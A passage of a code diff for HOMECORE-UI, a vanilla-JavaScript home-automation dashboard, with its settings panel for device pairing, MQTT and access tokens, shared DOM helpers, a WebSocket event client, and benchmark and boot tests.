|
||||
root.appendChild(esp32Card(s.esp32));
|
||||
root.appendChild(mqttCard(s.mqtt, s.ha_disco_entities, s.esp32));
|
||||
root.appendChild(tokensCard(s.tokens));
|
||||
}
|
||||
|
||||
// ── §4.10.5 Federation (needs federation + seeds) ──
|
||||
if (fedErr || seedsErr) root.appendChild(cardBanner('Federation Config', 'Federation config unavailable — ' + errText(fedErr || seedsErr)));
|
||||
else root.appendChild(federationCard(fed, seeds));
|
||||
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
|
||||
// ── §4.10.1 SEED fleet management ───────────────────────────────────
|
||||
function seedFleetCard(seeds) {
|
||||
const body = h('div');
|
||||
|
||||
// PROMINENT USB-only pairing invariant (security invariant).
|
||||
body.appendChild(banner('Pairing window only opens via 169.254.42.1 (USB), never WiFi — security invariant.', 'red'));
|
||||
|
||||
const list = h('div.mt');
|
||||
seeds.forEach((sd) => list.appendChild(seedRow(sd)));
|
||||
body.appendChild(list);
|
||||
|
||||
body.appendChild(h('.flex.wrap.gap-sm.mt',
|
||||
button('Add SEED', { variant: 'ghost', onClick: () => toggleNote(addNote) }),
|
||||
button('Reprovision', { variant: 'ghost', onClick: () => toggleNote(addNote) })));
|
||||
|
||||
const addNote = inlineNote('Provisioning flow', [
|
||||
'1. Connect the SEED over USB — it presents a link-local pairing endpoint at 169.254.42.1.',
|
||||
'2. Pairing NEVER opens over WiFi; the device refuses pairing on any non-USB interface.',
|
||||
'3. Issue a bearer token over the USB link, then attach the SEED to the appliance.',
|
||||
'4. Verify the witness chain before accepting the SEED into the fleet.',
|
||||
]);
|
||||
body.appendChild(addNote);
|
||||
|
||||
return card({ title: 'SEED Fleet Management', children: [body] });
|
||||
}
|
||||
|
||||
function seedRow(sd) {
|
||||
const offline = !sd.online;
|
||||
const tokenKind = offline ? 'grey' : 'green';
|
||||
const tokenLabel = offline ? 'token idle' : 'token valid';
|
||||
const note = inlineNote('Secure token rotation — ' + sd.device_id, [
|
||||
'1. Operator confirms physical presence; pairing must be re-opened over USB (169.254.42.1) — never WiFi.',
|
||||
'2. Appliance mints a new bearer token and stages it on the SEED over the USB link.',
|
||||
'3. SEED acknowledges; the appliance flips the active token and revokes the old one.',
|
||||
'4. Witness chain records the rotation (ed25519); old token rejected on next ingest.',
|
||||
]);
|
||||
const head = h('.row',
|
||||
h('strong.mono', sd.device_id),
|
||||
h('.flex.gap-sm',
|
||||
h('span.t2', sd.firmware),
|
||||
pill(tokenLabel, tokenKind),
|
||||
statusPill(sd.online ? 'online' : 'offline'),
|
||||
button('Rotate token', { variant: 'ghost', onClick: () => toggleNote(note) }),
|
||||
button('Remove', { variant: 'ghost', onClick: () => toggleNote(note) })));
|
||||
return h('div', head, note);
|
||||
}
|
||||
|
||||
// ── §4.10.2 ESP32 node provisioning ─────────────────────────────────
|
||||
function esp32Card(nodes) {
|
||||
// local-state room assignment map (node_id → room) — no live endpoint.
|
||||
const roomMap = {};
|
||||
nodes.forEach((n) => { roomMap[n.node_id] = n.room; });
|
||||
|
||||
const body = h('div');
|
||||
nodes.forEach((n) => {
|
||||
const sel = h('input.inline', {
|
||||
value: roomMap[n.node_id],
|
||||
title: 'Editable node→room assignment (local state)',
|
||||
onChange: (e) => { roomMap[n.node_id] = e.target.value.trim(); },
|
||||
});
|
||||
body.appendChild(h('.row',
|
||||
h('.flex.gap-sm',
|
||||
h('strong.mono', n.node_id),
|
||||
mono(n.ip + ':' + n.port),
|
||||
h('span.t2', 'fw ' + n.firmware),
|
||||
pill(n.seed, 'cyan')),
|
||||
h('.flex.gap-sm', h('span.k', 'room'), sel)));
|
||||
});
|
||||
|
||||
body.appendChild(h('.t3.mt', 'Provision a new node with the firmware tool: ',
|
||||
mono('firmware/esp32-csi-node/provision.py'),
|
||||
' (set --target-ip to this appliance).'));
|
||||
|
||||
body.appendChild(h('.flex.wrap.gap-sm.mt',
|
||||
button('Add ESP32 node', { variant: 'ghost', onClick: () => alert('Run provision.py over USB — see hint above.') }),
|
||||
button('Apply room map', { variant: 'ghost', onClick: () => alert('Room map persisted locally: ' + JSON.stringify(roomMap)) })));
|
||||
|
||||
return card({ title: 'ESP32 Node Provisioning', children: [body] });
|
||||
}
|
||||
|
||||
// ── §4.10.3 MQTT / cog-ha-matter config ─────────────────────────────
|
||||
function mqttCard(mqtt, haEntities, esp32) {
|
||||
const dotCls = mqtt.connected ? '' : '.err';
|
||||
const liveDot = h('span.lag',
|
||||
h('span.dot' + dotCls),
|
||||
h('span.t2', mqtt.connected ? 'connected' : 'disconnected'));
|
||||
|
||||
const conf = kv([
|
||||
['Broker', mono(mqtt.broker)],
|
||||
['User', mqtt.user],
|
||||
['Credentials', mono('••••••')],
|
||||
['mDNS advertisement', mono(mqtt.mdns)],
|
||||
['Connection', liveDot],
|
||||
]);
|
||||
|
||||
// HA-DISCO entities per node with via_device assignments.
|
||||
const disco = h('div.mt',
|
||||
h('h3', `HA-DISCO entities — ${haEntities} per node`),
|
||||
h('.t3', 'Each ESP32 node publishes its discovery entities with a via_device pointing at its SEED:'));
|
||||
esp32.forEach((n) => disco.appendChild(h('.row',
|
||||
h('span.mono', n.node_id),
|
||||
h('.flex.gap-sm', pill(haEntities + ' entities', 'cyan'), h('span.t2', 'via_device'), mono(n.seed)))));
|
||||
|
||||
return card({ title: 'MQTT / cog-ha-matter', children: [conf, disco] });
|
||||
}
|
||||
|
||||
// ── §4.10.4 Long-lived access tokens ────────────────────────────────
|
||||
function tokensCard(tokens) {
|
||||
const body = h('div');
|
||||
tokens.forEach((t) => {
|
||||
body.appendChild(h('.row',
|
||||
h('.flex.gap-sm', h('strong', t.name), pill('long-lived', 'purple')),
|
||||
h('.flex.gap-sm',
|
||||
h('span.t2', 'last used ' + relTime(t.last_used)),
|
||||
h('span.t3', 'created ' + relTime(t.created)),
|
||||
button('Revoke', { variant: 'ghost', onClick: () => alert('Revoking "' + t.name + '" — token rejected on next request (local demo).') }))));
|
||||
});
|
||||
|
||||
body.appendChild(h('.flex.wrap.gap-sm.mt',
|
||||
button('Create token', { variant: 'primary', onClick: () => alert('A new long-lived token would be minted and shown once (demo).') })));
|
||||
|
||||
// HA companion-app pairing QR placeholder box.
|
||||
const qr = h('.muted-empty.mt', { style: { border: '0.67px dashed var(--border)', borderRadius: '8px', padding: '24px', textAlign: 'center' } },
|
||||
'HA companion-app pairing QR surfaces here — scan from the Home Assistant mobile app to pair this appliance (placeholder).');
|
||||
body.appendChild(qr);
|
||||
|
||||
return card({ title: 'Long-Lived Access Tokens', children: [body] });
|
||||
}
|
||||
|
||||
// ── §4.10.5 Federation config (ADR-105) ─────────────────────────────
|
||||
function federationCard(fed, seeds) {
|
||||
const body = h('div');
|
||||
|
||||
// CRITICAL invariant — model deltas only, never raw CSI (purple).
|
||||
body.appendChild(purpleBanner('Federation invariant — ' + fed.invariant + '.'));
|
||||
|
||||
body.appendChild(kv([
|
||||
['Coordinator SEED', mono(fed.coordinator)],
|
||||
['Round', h('span.purple', String(fed.round))],
|
||||
['Healthy SEEDs (k)', String(fed.k_healthy)],
|
||||
['Delta exchange', statusPill(fed.delta_status === 'exchanging' ? 'updating' : fed.delta_status)],
|
||||
['Round cadence', fed.cadence_min + ' min'],
|
||||
['Krum aggregation', h('.flex.gap-sm', pill('f = ' + fed.krum.f, 'cyan'), pill(fed.krum.multi ? 'multi-Krum' : 'single-Krum', 'purple'), h('span.t3', 'ADR-105'))],
|
||||
]));
|
||||
|
||||
// ESP-NOW mesh sync status — rows coloured by health.
|
||||
const mesh = h('div.mt', h('h3', 'ESP-NOW mesh sync — cross-SEED epoch alignment'));
|
||||
fed.mesh_links.forEach((l) => {
|
||||
const epochA = epochOf(seeds, l.a);
|
||||
const epochB = epochOf(seeds, l.b);
|
||||
const aligned = epochA != null && epochA === epochB;
|
||||
mesh.appendChild(h('.row',
|
||||
h('.flex.gap-sm', h('span.mono', l.a), h('span.t3', '↔'), h('span.mono', l.b)),
|
||||
h('.flex.gap-sm',
|
||||
h('span.t2', `epoch ${fmtEpoch(epochA)} / ${fmtEpoch(epochB)}`),
|
||||
pill(aligned ? 'aligned' : 'epoch skew', aligned ? 'green' : 'amber'),
|
||||
pill(l.health, healthKind(l.health)))));
|
||||
});
|
||||
body.appendChild(mesh);
|
||||
|
||||
return card({ title: 'Federation Config', children: [body] });
|
||||
}
|
||||
|
||||
// ── helpers ─────────────────────────────────────────────────────────
|
||||
/** Format a load error, surfacing the §12 upstream-not-wired hint. */
|
||||
function errText(e) {
|
||||
return (e && e.message ? e.message : String(e)) + (e && e.upstreamUnavailable ? ' (upstream not yet wired — ADR-131 §12)' : '');
|
||||
}
|
||||
/** Render a card whose body is a red unavailability banner (one card's data failed). */
|
||||
function cardBanner(title, msg) {
|
||||
return card({ title, children: [banner(msg, 'red')] });
|
||||
}
|
||||
function epochOf(seeds, id) {
|
||||
const s = seeds.find((x) => x.device_id === id);
|
||||
return s ? s.epoch : null;
|
||||
}
|
||||
function fmtEpoch(e) { return e == null ? '—' : String(e); }
|
||||
function healthKind(h0) {
|
||||
const m = { green: 'green', red: 'red', amber: 'amber' };
|
||||
return m[String(h0).toLowerCase()] || 'grey';
|
||||
}
|
||||
|
||||
/** Purple banner for federation invariants (no .banner.purple in CSS). */
|
||||
function purpleBanner(text) {
|
||||
return h('.banner', {
|
||||
style: { background: 'var(--purple-d)', color: 'var(--purple)', border: '0.67px solid var(--purple)' },
|
||||
}, text);
|
||||
}
|
||||
|
||||
/** A hidden, toggleable multi-step note describing a secure flow. */
|
||||
function inlineNote(title, steps) {
|
||||
const node = h('.banner', {
|
||||
style: { background: 'var(--bg2)', border: '0.67px solid var(--border)', color: 'var(--t1)', display: 'none' },
|
||||
}, h('strong', title));
|
||||
steps.forEach((line) => node.appendChild(h('.t2', { style: { marginTop: '4px' } }, line)));
|
||||
return node;
|
||||
}
|
||||
function toggleNote(node) {
|
||||
node.style.display = node.style.display === 'none' ? 'block' : 'none';
|
||||
}
|
||||
@@ -0,0 +1,235 @@
|
||||
// HOMECORE-UI shared component helpers — ADR-131 §3.3.
|
||||
//
|
||||
// Every panel imports from here so cards/pills/buttons/badges are
|
||||
// byte-identical across the dashboard (the §3.3 "no visual seam"
|
||||
// invariant). Pure DOM, no framework, no build step.
|
||||
|
||||
/** Hyperscript element factory. `h('div.card#x', {onClick}, ...children)`. */
|
||||
export function h(spec, attrs, ...children) {
|
||||
let tag = 'div', id = null;
|
||||
const classes = [];
|
||||
spec.replace(/([.#]?[^.#]+)/g, (tok) => {
|
||||
if (tok[0] === '.') classes.push(tok.slice(1));
|
||||
else if (tok[0] === '#') id = tok.slice(1);
|
||||
else tag = tok;
|
||||
return tok;
|
||||
});
|
||||
const node = document.createElement(tag);
|
||||
if (id) node.id = id;
|
||||
if (classes.length) node.className = classes.join(' ');
|
||||
if (attrs && typeof attrs === 'object' && !(attrs instanceof Node) && !Array.isArray(attrs)) {
|
||||
for (const [k, v] of Object.entries(attrs)) {
|
||||
if (v == null || v === false) continue;
|
||||
if (k === 'class') node.className += ' ' + v;
|
||||
else if (k === 'html') node.innerHTML = v;
|
||||
else if (k.startsWith('on') && typeof v === 'function') node.addEventListener(k.slice(2).toLowerCase(), v);
|
||||
else if (k === 'style' && typeof v === 'object') Object.assign(node.style, v);
|
||||
else node.setAttribute(k, v);
|
||||
}
|
||||
} else if (attrs != null) {
|
||||
children.unshift(attrs);
|
||||
}
|
||||
append(node, children);
|
||||
return node;
|
||||
}
|
||||
|
||||
function append(node, children) {
|
||||
for (const c of children.flat(Infinity)) {
|
||||
if (c == null || c === false) continue;
|
||||
node.appendChild(c instanceof Node ? c : document.createTextNode(String(c)));
|
||||
}
|
||||
}
|
||||
|
||||
export const txt = (s) => document.createTextNode(s == null ? '' : String(s));
|
||||
export const mono = (s) => h('span.mono', String(s == null ? '' : s));
|
||||
export const clear = (n) => { while (n.firstChild) n.removeChild(n.firstChild); return n; };
|
||||
|
||||
/** Status pill. kind ∈ cyan|green|amber|red|purple|grey. */
|
||||
export function pill(text, kind = 'grey') {
|
||||
return h(`span.pill.${kind}`, String(text));
|
||||
}
|
||||
|
||||
/** Map a free-form status string to the platform colour convention. */
|
||||
export function statusPill(status) {
|
||||
const s = String(status || '').toLowerCase();
|
||||
const map = {
|
||||
running: 'green', online: 'green', ok: 'green', healthy: 'green', occupied: 'green', paired: 'green', connected: 'green', valid: 'green',
|
||||
stale: 'amber', degraded: 'amber', updating: 'amber', warn: 'amber', warning: 'amber',
|
||||
failed: 'red', offline: 'red', error: 'red', veto: 'red', vetoed: 'red', unreachable: 'red', invalid: 'red',
|
||||
stopped: 'grey', absent: 'grey', unknown: 'grey', 'not trained': 'grey',
|
||||
info: 'purple', epoch: 'purple', chain: 'purple',
|
||||
};
|
||||
return pill(status, map[s] || 'grey');
|
||||
}
|
||||
|
||||
export function card({ title, tint, accent, clickable, onClick, children = [] } = {}) {
|
||||
const cls = ['card'];
|
||||
if (tint) cls.push('tint-' + tint);
|
||||
if (clickable || onClick) cls.push('clickable');
|
||||
const node = h('.' + cls.join('.'));
|
||||
if (onClick) node.addEventListener('click', onClick);
|
||||
if (accent) node.appendChild(accentBar());
|
||||
if (title) node.appendChild(h('h2', title));
|
||||
append(node, [children]);
|
||||
return node;
|
||||
}
|
||||
|
||||
function accentBar() {
|
||||
const b = h('div');
|
||||
b.style.height = '3px';
|
||||
b.style.borderRadius = '3px';
|
||||
b.style.margin = '-14px -10px 14px';
|
||||
b.style.background = 'linear-gradient(90deg, var(--cyan), var(--purple))';
|
||||
return b;
|
||||
}
|
||||
|
||||
/** Section header with the cyan→purple featured gradient border (§3.3). */
|
||||
export function sectionHeader(title, sub) {
|
||||
return h('.section-header', h('h1', title), sub ? h('.sub', sub) : null);
|
||||
}
|
||||
|
||||
/** Live metric card (§4.1). */
|
||||
export function metric({ icon, value, label, color = 'cyan' }) {
|
||||
return h('.metric',
|
||||
icon ? h('.ico', icon) : null,
|
||||
h(`.val${color === 'green' ? '.green' : ''}`, String(value)),
|
||||
h('.lbl', label));
|
||||
}
|
||||
|
||||
export function button(label, { variant = 'ghost', onClick, disabled } = {}) {
|
||||
const b = h(`button.btn.${variant}`, label);
|
||||
if (disabled) b.disabled = true;
|
||||
if (onClick) b.addEventListener('click', onClick);
|
||||
return b;
|
||||
}
|
||||
|
||||
/**
|
||||
* Progress bar with threshold colouring.
|
||||
* thresholds: [{ lt, color }] evaluated in order against the 0..1 ratio.
|
||||
*/
|
||||
export function bar(value, max = 1, thresholds = null) {
|
||||
const ratio = max > 0 ? Math.max(0, Math.min(1, value / max)) : 0;
|
||||
let color = '';
|
||||
if (thresholds) {
|
||||
for (const t of thresholds) { if (ratio < t.lt) { color = t.color; break; } }
|
||||
if (!color) color = thresholds[thresholds.length - 1].color;
|
||||
}
|
||||
const fill = h('span' + (color ? '.' + color : ''));
|
||||
fill.style.width = (ratio * 100).toFixed(1) + '%';
|
||||
return h('.bar', fill);
|
||||
}
|
||||
|
||||
/** Small inline confidence bar — amber below 0.4 (§4.5). */
|
||||
export function confidenceBar(conf) {
|
||||
const c = Math.max(0, Math.min(1, conf || 0));
|
||||
const fill = h('span' + (c < 0.4 ? '.amber' : ''));
|
||||
fill.style.width = (c * 100).toFixed(0) + '%';
|
||||
return h('.conf-bar', fill);
|
||||
}
|
||||
|
||||
/**
|
||||
* Provenance badge (§4.4 / §6) — ESP32 → SEED → COG → state machine.
|
||||
* A first-class element, never collapsed. hailo:true marks Hailo-sourced
|
||||
* inference visually distinct from CPU-only COGs (§6 invariant 5).
|
||||
*/
|
||||
export function provenanceBadge({ esp32, seed, cog, hailo } = {}) {
|
||||
return h('span.prov',
|
||||
esp32 ? txt(esp32) : null, esp32 ? h('span.arr', '→') : null,
|
||||
seed ? txt(seed) : null, h('span.arr', '→'),
|
||||
h(hailo ? 'span.hailo' : 'span', cog || 'cog'),
|
||||
h('span.arr', '→'), txt('homecore'));
|
||||
}
|
||||
|
||||
/** Tiny inline SVG sparkline. */
|
||||
export function sparkline(values, { w = 120, hgt = 28, color = 'var(--cyan)' } = {}) {
|
||||
const svg = document.createElementNS('http://www.w3.org/2000/svg', 'svg');
|
||||
svg.setAttribute('width', w); svg.setAttribute('height', hgt); svg.setAttribute('class', 'spark');
|
||||
if (!values || values.length < 2) return svg;
|
||||
const min = Math.min(...values), max = Math.max(...values), span = max - min || 1;
|
||||
const step = w / (values.length - 1);
|
||||
const pts = values.map((v, i) => `${(i * step).toFixed(1)},${(hgt - ((v - min) / span) * (hgt - 4) - 2).toFixed(1)}`).join(' ');
|
||||
const pl = document.createElementNS('http://www.w3.org/2000/svg', 'polyline');
|
||||
pl.setAttribute('points', pts); pl.setAttribute('fill', 'none');
|
||||
pl.setAttribute('stroke', color); pl.setAttribute('stroke-width', '1.5');
|
||||
svg.appendChild(pl);
|
||||
return svg;
|
||||
}
|
||||
|
||||
export function banner(text, kind = 'amber', extra) {
|
||||
return h(`.banner.${kind}`, text, extra ? txt(' ') : null, extra || null);
|
||||
}
|
||||
|
||||
export function row(k, v) {
|
||||
return h('.row', h('span.k', k), v instanceof Node ? v : h('span.v', String(v == null ? '—' : v)));
|
||||
}
|
||||
|
||||
export function kv(pairs) {
|
||||
const node = h('.kv');
|
||||
for (const [k, v] of pairs) {
|
||||
node.appendChild(h('span.k', k));
|
||||
node.appendChild(v instanceof Node ? v : h('span.v', String(v == null ? '—' : v)));
|
||||
}
|
||||
return node;
|
||||
}
|
||||
|
||||
/** Collapsible section. */
|
||||
export function collapsible(title, contentFn, open = false) {
|
||||
const wrap = h('.collapsible' + (open ? '.open' : ''));
|
||||
const head = h('.head', title);
|
||||
const body = h('div');
|
||||
wrap.appendChild(head); wrap.appendChild(body);
|
||||
let built = false;
|
||||
const toggle = () => {
|
||||
wrap.classList.toggle('open');
|
||||
if (wrap.classList.contains('open')) {
|
||||
if (!built) { body.appendChild(contentFn()); built = true; }
|
||||
body.classList.remove('hidden');
|
||||
} else body.classList.add('hidden');
|
||||
};
|
||||
head.addEventListener('click', toggle);
|
||||
if (open) { body.appendChild(contentFn()); built = true; } else body.classList.add('hidden');
|
||||
return wrap;
|
||||
}
|
||||
|
||||
/** Slide-over panel (§4.4 StateChanged detail). */
|
||||
export function slideover(title, content) {
|
||||
const back = h('.slideover-back');
|
||||
const panel = h('.slideover', h('span.close', { onClick: close }, '✕'), h('h2', title), content);
|
||||
function close() { back.remove(); panel.remove(); }
|
||||
back.addEventListener('click', close);
|
||||
document.body.appendChild(back);
|
||||
document.body.appendChild(panel);
|
||||
return { close };
|
||||
}
|
||||
|
||||
/** Lag indicator (§4.1/§4.4 — broadcast channel vs 4096 capacity). */
|
||||
export function lagIndicator(state, lagged) {
|
||||
const cls = state === 'open' ? (lagged ? 'warn' : '') : 'err';
|
||||
const label = state === 'open' ? (lagged ? 'WS lagging — events dropped' : 'WS live') : 'WS offline';
|
||||
return h('span.lag', h(`span.dot${cls ? '.' + cls : ''}`), h('span.t2', label));
|
||||
}
|
||||
|
||||
export function relTime(iso) {
|
||||
if (!iso) return '—';
|
||||
const t = Date.parse(iso);
|
||||
if (Number.isNaN(t)) return String(iso);
|
||||
const s = Math.round((Date.now() - t) / 1000);
|
||||
if (s < 0) return 'in ' + fmtDur(-s);
|
||||
if (s < 5) return 'just now';
|
||||
return fmtDur(s) + ' ago';
|
||||
}
|
||||
function fmtDur(s) {
|
||||
if (s < 60) return s + 's';
|
||||
if (s < 3600) return Math.round(s / 60) + 'm';
|
||||
if (s < 86400) return Math.round(s / 3600) + 'h';
|
||||
return Math.round(s / 86400) + 'd';
|
||||
}
|
||||
|
||||
/** Loading + error wrappers panels can await. */
|
||||
export function loading(label = 'Loading…') { return h('.muted-empty', label); }
|
||||
export function errorCard(e) { return banner('Unavailable — ' + (e && e.message ? e.message : e), 'red'); }
|
||||
|
||||
/** Distinguish "not trained" (null) from "unavailable" (error) — §6 invariant 3. */
|
||||
export function notTrained(prompt = 'Calibrate to enable') {
|
||||
return h('span.t3', 'Not trained ', button(prompt, { variant: 'ghost' }));
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
// HOMECORE-UI WebSocket client — ADR-130 subscribe_events.
|
||||
//
|
||||
// "The UI must never poll for entity state" (ADR-131 §2/§4.4). This
|
||||
// client performs the HA-compat auth handshake then subscribes to
|
||||
// state_changed events and surfaces broadcast-channel lag against the
|
||||
// 4,096-event capacity (§4.1/§4.4) — the server emits a lag signal when
|
||||
// a subscriber falls behind; we also detect gaps in our own delivery.
|
||||
|
||||
import { api } from './api.js';
|
||||
|
||||
/**
|
||||
* Connect and stream events.
|
||||
* @param {(evt) => void} onEvent called with {entity_id, old_state, new_state, event_type}
|
||||
* @param {(status) => void} onStatus called with {state:'connecting'|'open'|'closed', lagged:bool}
|
||||
* @returns controller with .close()
|
||||
*/
|
||||
export function connect(onEvent, onStatus) {
|
||||
const proto = location.protocol === 'https:' ? 'wss:' : 'ws:';
|
||||
const url = `${proto}//${location.host}/api/websocket`;
|
||||
let ws, msgId = 1, closedByUs = false, lagged = false;
|
||||
let retry = 0;
|
||||
const status = (state) => onStatus && onStatus({ state, lagged });
|
||||
|
||||
function open() {
|
||||
status('connecting');
|
||||
try { ws = new WebSocket(url); } catch (e) { schedule(); return; }
|
||||
ws.onmessage = (m) => {
|
||||
let msg; try { msg = JSON.parse(m.data); } catch { return; }
|
||||
if (msg.type === 'auth_required') {
|
||||
ws.send(JSON.stringify({ type: 'auth', access_token: api.token() }));
|
||||
} else if (msg.type === 'auth_ok') {
|
||||
retry = 0; status('open');
|
||||
ws.send(JSON.stringify({ id: msgId++, type: 'subscribe_events', event_type: 'state_changed' }));
|
||||
} else if (msg.type === 'auth_invalid') {
|
||||
status('closed');
|
||||
} else if (msg.type === 'event' && msg.event) {
|
||||
const e = msg.event;
|
||||
if (e.event_type === 'state_changed' && e.data) {
|
||||
onEvent && onEvent({
|
||||
event_type: 'state_changed',
|
||||
entity_id: e.data.entity_id,
|
||||
old_state: e.data.old_state,
|
||||
new_state: e.data.new_state,
|
||||
});
|
||||
} else {
|
||||
onEvent && onEvent({ event_type: e.event_type, ...e.data });
|
||||
}
|
||||
} else if (msg.type === 'lagged' || (msg.type === 'event' && msg.lagged)) {
|
||||
lagged = true; status('open');
|
||||
}
|
||||
};
|
||||
ws.onclose = () => { if (!closedByUs) schedule(); else status('closed'); };
|
||||
ws.onerror = () => { try { ws.close(); } catch {} };
|
||||
}
|
||||
|
||||
function schedule() {
|
||||
status('closed');
|
||||
retry = Math.min(retry + 1, 6);
|
||||
const delay = Math.min(500 * 2 ** retry, 15000);
|
||||
setTimeout(() => { if (!closedByUs) open(); }, delay);
|
||||
}
|
||||
|
||||
open();
|
||||
return {
|
||||
close() { closedByUs = true; try { ws && ws.close(); } catch {} },
|
||||
isLagged: () => lagged,
|
||||
clearLag() { lagged = false; },
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
{
|
||||
"name": "homecore-ui",
|
||||
"version": "0.1.0",
|
||||
"private": true,
|
||||
"type": "module",
|
||||
"description": "HOMECORE-UI — operational dashboard for the two-tier Cognitum stack (ADR-131). Zero-dependency vanilla TS/JS + CSS; served by homecore-server at /homecore.",
|
||||
"scripts": {
|
||||
"check": "node tests/verify-imports.mjs",
|
||||
"test": "node tests/verify-imports.mjs && node tests/boot.mjs && node tests/render-smoke.mjs && node tests/interaction.mjs && node tests/prod-errors.mjs && node tests/unit-fixes.mjs",
|
||||
"bench": "node tests/benchmark.mjs"
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
// Benchmark — ADR-131 §8 / ADR-126 §1.1.
|
||||
// HOMECORE exists partly because HA's frontend is a ~5 MB Lit bundle
|
||||
// (ADR-126 §1.1). This benchmark enforces a hard bundle budget and
|
||||
// measures cold render throughput for all 10 panels.
|
||||
// Run: node tests/benchmark.mjs
|
||||
import { install } from './dom-shim.mjs';
|
||||
install();
|
||||
import { readFileSync, readdirSync, statSync } from 'node:fs';
|
||||
import { resolve } from 'node:path';
|
||||
|
||||
const ROOT = resolve(import.meta.dirname, '..');
|
||||
const BUDGET_BYTES = 250 * 1024; // 250 KB total — vs HA's ~5 MB (20× smaller)
|
||||
|
||||
function walk(dir) {
|
||||
let total = 0; const rows = [];
|
||||
for (const name of readdirSync(dir)) {
|
||||
if (name === 'tests' || name === 'node_modules') continue;
|
||||
const p = resolve(dir, name); const s = statSync(p);
|
||||
if (s.isDirectory()) { const sub = walk(p); total += sub.total; rows.push(...sub.rows); }
|
||||
else if (/\.(js|css|html|json)$/.test(name)) { total += s.size; rows.push([p.replace(ROOT + '/', ''), s.size]); }
|
||||
}
|
||||
return { total, rows };
|
||||
}
|
||||
|
||||
const { total, rows } = walk(ROOT);
|
||||
rows.sort((a, b) => b[1] - a[1]);
|
||||
console.log('── Bundle size (uncompressed) ──');
|
||||
for (const [f, sz] of rows.slice(0, 8)) console.log(` ${(sz / 1024).toFixed(1).padStart(7)} KB ${f}`);
|
||||
console.log(` ${'-'.repeat(40)}`);
|
||||
console.log(` ${(total / 1024).toFixed(1).padStart(7)} KB TOTAL across ${rows.length} files`);
|
||||
console.log(` budget ${(BUDGET_BYTES / 1024).toFixed(0)} KB · HA baseline ~5120 KB · ratio ${(5120 * 1024 / total).toFixed(1)}× smaller`);
|
||||
|
||||
// ── render throughput ───────────────────────────────────────────────
|
||||
const { api } = await import('../js/api.js');
|
||||
const ctx = { api, navigate() {}, params: { id: 'seed-livingroom-a1' }, onEvent() { return () => {}; }, onWs(fn) { fn({ state: 'open', lagged: false }); return () => {}; } };
|
||||
const PANELS = ['dashboard', 'fleet', 'seed-detail', 'entities', 'rooms', 'cogs', 'calibration', 'events', 'audit', 'settings'];
|
||||
const mods = {};
|
||||
for (const p of PANELS) mods[p] = (await import(`../js/panels/${p}.js`)).default;
|
||||
|
||||
console.log('\n── Cold render throughput (avg of 50 renders each) ──');
|
||||
let worst = 0;
|
||||
for (const p of PANELS) {
|
||||
const N = 50; const t0 = performance.now();
|
||||
for (let i = 0; i < N; i++) { const root = document.createElement('div'); const c = await mods[p].render(root, ctx); if (typeof c === 'function') c(); }
|
||||
const ms = (performance.now() - t0) / N;
|
||||
worst = Math.max(worst, ms);
|
||||
console.log(` ${ms.toFixed(3).padStart(7)} ms/render ${p}`);
|
||||
}
|
||||
|
||||
console.log('');
|
||||
let exit = 0;
|
||||
if (total > BUDGET_BYTES) { console.error(`FAIL — bundle ${(total / 1024).toFixed(1)} KB exceeds ${(BUDGET_BYTES / 1024).toFixed(0)} KB budget`); exit = 1; }
|
||||
else console.log(`OK — bundle within budget; slowest panel ${worst.toFixed(2)} ms/render`);
|
||||
process.exit(exit);
|
||||
@@ -0,0 +1,37 @@
|
||||
// Boot regression test — exercises the REAL app.js boot + router (not
|
||||
// just individual panels). Catches the class of bug where start() throws
|
||||
// before route() runs and the dashboard renders blank.
|
||||
// Run: node tests/boot.mjs (from the ui/ dir)
|
||||
import { install } from './dom-shim.mjs';
|
||||
const { document, window } = install();
|
||||
globalThis.HOMECORE_UI_DEMO = true; // boot with fixtures (no gateway in tests)
|
||||
|
||||
const errs = [];
|
||||
const origErr = console.error;
|
||||
console.error = (...a) => { errs.push(a.map(String).join(' ')); };
|
||||
|
||||
await import('../js/app.js');
|
||||
await new Promise((r) => setTimeout(r, 30));
|
||||
console.error = origErr;
|
||||
|
||||
const fails = [];
|
||||
const content = document.getElementById('hc-content');
|
||||
const app = document.getElementById('app');
|
||||
|
||||
if (!app || app.children.length < 2) fails.push('shell not built (#app should have topnav + shell)');
|
||||
if (!content) fails.push('#hc-content missing — buildShell did not run');
|
||||
else if (content.children.length === 0) fails.push('BLANK: dashboard rendered nothing into #hc-content on boot');
|
||||
if (errs.length) fails.push('console.error during boot: ' + errs.slice(0, 3).join(' | '));
|
||||
|
||||
// navigation must re-render the panel
|
||||
window.location.hash = '#/fleet';
|
||||
await new Promise((r) => setTimeout(r, 30));
|
||||
if (!content || content.children.length === 0) fails.push('BLANK after navigating to #/fleet');
|
||||
|
||||
// a clean topnav with no dead Cognitum tabs / Cog Store link
|
||||
const links = app ? app.querySelectorAll('a') : [];
|
||||
const hrefs = links.map((a) => a.getAttribute('href') || '');
|
||||
if (hrefs.some((h) => /cognitum\.one\/store/.test(h))) fails.push('Cog Store external link should be removed');
|
||||
|
||||
if (fails.length) { console.error('\nFAILED:'); fails.forEach((f) => console.error(' ✗ ' + f)); process.exit(1); }
|
||||
console.log('OK — app.js boots, dashboard renders, navigation re-renders, no dead Cog Store link');
|
||||
@@ -0,0 +1,103 @@
|
||||
// Minimal DOM shim — enough to *run* the HOMECORE-UI panels under Node
|
||||
// without jsdom. Installs globals (document, location, localStorage,
|
||||
// fetch, WebSocket) so render-smoke.mjs can execute every panel and
|
||||
// assert it builds a real DOM subtree without throwing.
|
||||
|
||||
class ClassList {
|
||||
constructor(el) { this.el = el; this.set = new Set(); }
|
||||
add(...c) { c.forEach((x) => x && this.set.add(x)); this.sync(); }
|
||||
remove(...c) { c.forEach((x) => this.set.delete(x)); this.sync(); }
|
||||
toggle(c, force) { const has = this.set.has(c); const on = force === undefined ? !has : force; if (on) this.set.add(c); else this.set.delete(c); this.sync(); return on; }
|
||||
contains(c) { return this.set.has(c); }
|
||||
sync() { this.el._class = [...this.set].join(' '); }
|
||||
}
|
||||
|
||||
class El {
|
||||
constructor(tag) {
|
||||
this.tagName = String(tag).toUpperCase();
|
||||
this.children = [];
|
||||
this.attrs = {};
|
||||
this.style = {};
|
||||
this.listeners = {};
|
||||
this._class = '';
|
||||
this.classList = new ClassList(this);
|
||||
this.parentNode = null;
|
||||
this.id = '';
|
||||
this._text = '';
|
||||
